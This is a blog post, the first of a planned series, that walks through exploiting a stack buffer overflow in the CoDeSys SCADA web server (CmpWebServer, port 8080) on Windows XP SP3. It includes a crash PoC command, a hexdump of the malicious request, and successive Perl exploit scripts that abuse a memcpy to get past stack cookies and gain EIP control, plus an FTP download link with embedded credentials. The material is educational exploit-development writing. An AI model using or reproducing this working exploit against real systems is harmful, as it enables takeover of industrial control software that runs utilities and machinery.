Introduction
On November 29, 2011, Luigi Auriemma published a security advisory containing multiple vulnerabilities in the 3S CoDeSys Automation Suite. Like much of the other software Auriemma has researched in past months, CoDeSys is SCADA software. For those who aren’t familiar with the term, SCADA stands for “Supervisory Control and Data Acquisition,” which is just a fancy way of saying “the code that runs big machines, assembly lines, and the utilities we rely on every day (water, electricity, etc.).” To put it more bluntly, things that should never fail and should never be messed with.
SCADA applications and appliances have been receiving a lot of media attention lately for all the security problems they’re causing, most infamously being the root of the Stuxnet outbreak in 2010. If you spend more than a few minutes looking at the applications that power our infrastructure and the systems they run on, you’ll realize it’s time to get a little nervous. Much of this software is full of bugs, poorly maintained by the vendors, and has the look and feel of the Windows 2000 era.
I intend to publish a three-part series of blog posts detailing my experience weaponizing Auriemma’s CoDeSys advisory, turning simple DoS into remote code execution. It is meant to be a learning experience, and hopefully it will help others in writing their own exploits as I explain the steps taken to circumvent the different exploit mitigations implemented in the software.
A minimal amount of experience with memory corruption but a fair amount of intuition will be necessary to follow along. While I will introduce concepts as they appear, I will not explain every little detail for the sake of fluency and brevity.
Identifying the Vulnerability
The exact bug we’ll be looking at is a stack-based overflow in the CmpWebServer component of CoDeSys:
------------------------------ B] CmpWebServer stack overflow ------------------------------ CmpWebServer is the component used in services like 3SRTESrv3 and CoDeSysControlService for handling the HTTP connections on port 8080. The library is affected by a buffer overflow in the function 0040f480 that copies the input URI in a limited stack buffer allowing code execution: 0040F5C5 |> 8B55 F4 MOV EDX,DWORD PTR SS:[EBP-C] 0040F5C8 |. 2B55 08 SUB EDX,DWORD PTR SS:[EBP+8] 0040F5CB |. 52 PUSH EDX 0040F5CC |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] 0040F5CF |. 50 PUSH EAX 0040F5D0 |. 8B4D 10 MOV ECX,DWORD PTR SS:[EBP+10] 0040F5D3 |. 51 PUSH ECX 0040F5D4 |. E8 97420000 CALL CoDeSysC.00413870 ; memcpy ... =========== 3) The Code =========== ... B] udpsz -c "GET /" 0 -b a -c "\\a HTTP/1.0\r\n\r\n" -1 -T -D SERVER 8080 8192
For this post we’ll be exploiting CoDeSys V3.4 SP4 Patch 2 on Windows XP Professional SP3. While this is not the most up-to-date version of the OS, it has been chosen for various reasons, most prominently due to the fact that DEP is enabled but ASLR is not implemented. This is a good point to start at both technically and conceptually — Don’t worry, ASLR will play a major role towards the end of this series.
You can grab the software here: ftp://ftppub2:eYDqlL5v@ftp.3s-software.com/SetupV30/CoDeSys%203.4SP4Patch2%20Release.zip
Start CoDeSys SoftMotion Win V3 (the part of CoDeSys that CmpWebServer resides in) and attach Immunity Debugger to the running process. Let’s run the PoC and see what happens:
sh-4.1$ gcc -o udpsz udpsz.c md5.c -lz -ldl -pthread sh-4.1$ ./udpsz -c "GET /" 0 -b a -c "\\\\a HTTP/1.0\r\n\r\n" -1 -T -D 172.16.66.128 8080 8192 UDPSZ 0.3.3a by Luigi Auriemma e-mail: aluigi@autistici.org web: aluigi.org - target 172.16.66.128 : 8080 - TCP mode - random seed 0x4f079359 - content at offset 00000000 of 5 bytes - appended content of 15 bytes - average or maximum packet size: 8192 - send packets: . - finished sh-4.1$
Yup, looks like a bug. Before we dig any further let’s inspect exactly what bytes we’re sending to trigger the crash. With a little netcat action, we learn that the PoC program is sending the following HTTP request:
sh-4.1$ nc -l 8080 | hexdump -C 00000000 47 45 54 20 2f 61 61 61 61 61 61 61 61 61 61 61 |GET /aaaaaaaaaaa| 00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 |aaaaaaaaaaaaaaaa| * 00001ff0 61 5c 61 20 48 54 54 50 2f 31 2e 30 0d 0a 0d 0a |a\a HTTP/1.0....| 00002000 sh-4.1$
That means our exploit will be structured like:
GET /[overflow]\a HTTP/1.0[crlf][crlf]
Okay, set a breakpoint and let’s inspect the call to memcpy() referenced in the advisory:
Interestingly enough, it appears we found a (functionality) bug in Immunity if you take a look at the memcpy() call frame on the stack. In actuality we’re copying to dest=0x02cdfb44 from src=0x00399dc8 a total of n=0x1ff4=8180 bytes.
Scrolling down a bit in the dump window we see our crafted URL string in memory in its entirety, staged to be memcpy()’d somewhere on the stack. Continuing execution, we hit the same write exception as the first run through. Our first challenge will be getting around this issue before we’ll be able to continue.
Over the Mountain and Through the Woods…
The first step will be to look at the call stack, which will play two important roles in our debugging effort. First, if you notice the third function on the stack, we corrupted the return pointer with 0x61616161, or “aaaa”. This confirms that we have in fact overflowed a buffer and now control some function’s call frame. The ultimate goal will be navigating through the rest of the code until we are able to return from this function, gaining control over EIP and eventually executing our payload.
The second role, one more relevant to the current situation, is determining which function was last called before the exception. Looking at the top of the call stack, we see that it crashed somewhere within the function called from 0x0040f5d4… the same memcpy() that we looked at earlier! If you read the exception message carefully, the program crashed due to an inability to write to the address 0x02ce0000, which just so happens to be the bottom of the stack. Our overflow string was so long that we tried writing past the stack itself! This would be a good time to start writing our exploit script – let’s shorten the overflow string and try again.
#!/usr/bin/perl use IO::Socket; if ( @ARGV < 1 ) { print "Usage: $0 <target>"; } $sock = new IO::Socket::INET( PeerAddr => $ARGV[0], PeerPort => 8080, ); $exploit = ""; $exploit .= "GET /"; $exploit .= "A"x1000; $exploit .= "\\a HTTP/1.0\r\n\r\n"; print $sock $exploit;
And take a look at our new crash:
Progress! Looks like we’re now reaching an exception reading a pointer we control. If we find the exact offset in our buffer this pointer is being derived from and replace it with a pointer to readable memory, we should be able to get past this part as well. In order to pinpoint exactly where this pointer resides in our buffer, we’ll call upon the great mona.py to generate a cyclic pattern. By replacing our overflow string with a cyclic pattern, the pointer will be replaced with a unique four-byte sequence, which we’ll then be able to trace to a specific offset in the string.
Run it again, and we see the exception but with a new pointer:
0x72413672 in little endian is “\x72\x36\x41\x72” which decodes to ASCII “r6Ar”. Inspecting our cyclic pattern results in finding “r6Ar” at offset 529. Replace the next four bytes with “ZZZZ” to prove the concept:
Cool. Let’s replace this pointer with an address of somewhere in our buffer (on the stack) for now. As long as it’s readable it won’t matter. Moving on, we’ll leave the cyclic pattern in place as it may be helpful in the future. Let’s see where the program takes us now…
Looks like this time the program is crashing due to a write exception to another pointer we control (the random, all-ASCII pointer clues to a cyclic pattern). Following the same processes as before, 0x38724137 in little endian is “\x37\x41\x72\x38” which decodes to ASCII “7Ar8”. Inspecting our cyclic pattern results in finding “7Ar8” at offset 533, adjacent to the readable pointer above. We’ll replace this one with a random pointer on the stack, outside our buffer. That brings us to the following exploit script so far:
#!/usr/bin/perl use IO::Socket; if ( @ARGV < 1 ) { print "Usage: $0 <target>"; } $sock = new IO::Socket::INET( PeerAddr => $ARGV[0], PeerPort => 8080, ); $exploit = ""; $exploit .= "GET /"; #$exploit .= "A"x1000; $exploit .= "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5A"; $exploit .= pack('V', 0x02cdfb4c); # Readable pointer $exploit .= pack('V', 0x02cdfa54); # Writable pointer $exploit .= "Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"; $exploit .= "\\a HTTP/1.0\r\n\r\n"; print $sock $exploit;
Run it again, and…
What’s this? Process terminated? Not just ended, but terminated? What would cause such a thing? Let’s go back and add a bunch of breakpoints and see where it terminates. We’ll follow the execution step-by-step and determine exactly the root cause of this.
We reach the initial memcpy() okay…
And return from a function, unwinding a layer off the stack (note, not the function that we overflowed the call frame of)…
Pass unfettered through a few function calls…
Until we reach this final function before the return:
Note how EBP points to somewhere in our overflow string. If we hit the function epilogue at 0x0040fcb7 after this final function call, then the program should realign the stack pointer into our buffer, pop the base pointer, and then return to an arbitrary address of our choosing (EIP control). Yet, that doesn’t happen and the program terminates instead. That means it can only be…
Uh oh… It looks like we’ve been plagued with stack cookies. No matter how delicious they sound, these are not the type of cookies you want. When we overwrote the call frame for the current function, we corrupted the cookie on the stack before it. We won’t be able to do a direct ret overwrite, so we’ll have to get crafty and influence the program in other ways to circumvent the memory protection.
Great, So What Now?
We have two options to pursue from here. The first option is to attempt an SEH overwrite – taking control of the exception handler located on the stack, intentionally causing an exception in the program, and pointing execution at any address we choose. From here we’d need to find a stack pivot to relocate the stack pointer into our buffer, but just our luck that all loaded modules in the program are compiled with SafeSEH:
This doesn’t technically mean the end of an SEH overwrite possibility, as there are other techniques such as generating gadgets from bytes outside of loaded modules in memory, but before we go crazy let’s see what else we have to work with.
The second option is to take a closer look at the functions called before the stack cookie check and see if it is possible to abuse them to redirect the program flow. One thing that should pique our interest is the fact that in order to satisfy the code executed before the stack cookie check, we had to provide two adjacent pointers in memory, one readable and one writable. Let’s look more closely at a previous screenshot:
See anything interesting? Recall the arguments to the initial memcpy():
dest=0x02cdfb44
src=0x00399dc8
n=0x1ff4
The cyclic pattern doesn’t start at the dest address… and it’s missing its first character (“A”)… Let’s recall the “random” stack pointers we placed in our overflow string:
$exploit .= pack('V', 0x02cdfb4c); # Readable pointer $exploit .= pack('V', 0x02cdfa54); # Writable pointer
In case you haven’t figured it out already, let’s take a look at the initial memcpy() call:
And now let’s look at the function call just before the stack cookie check:
Notice anything similar? Just before the stack cookie check, we have complete control over the src and dest arguments of a memcpy() call! We can leverage this capability to overwrite the return address of the call itself, returning into an arbitrary address in memory and gaining control over EIP. Update our script:
#!/usr/bin/perl use IO::Socket; if ( @ARGV < 1 ) { print "Usage: $0 <target>"; } $sock = new IO::Socket::INET( PeerAddr => $ARGV[0], PeerPort => 8080, ); $exploit = ""; $exploit .= "GET /"; $exploit .= "A"; # For alignment purposes $exploit .= pack('V', 0x0defaced); # Control over EIP $exploit .= "1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5A"; $exploit .= pack('V', 0x02cdfb4c); # Readable pointer (Pointer to new EIP) $exploit .= pack('V', 0x02cdfa14); # Writable pointer (Overwritten ret addr) $exploit .= "Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"; $exploit .= "\\a HTTP/1.0\r\n\r\n"; print $sock $exploit;
Run our new script against the server:
Next Time
Next post in this series (the second of three) we’ll look at how to turn EIP into arbitrary code execution, bypassing DEP and spawning a shell on the remote host.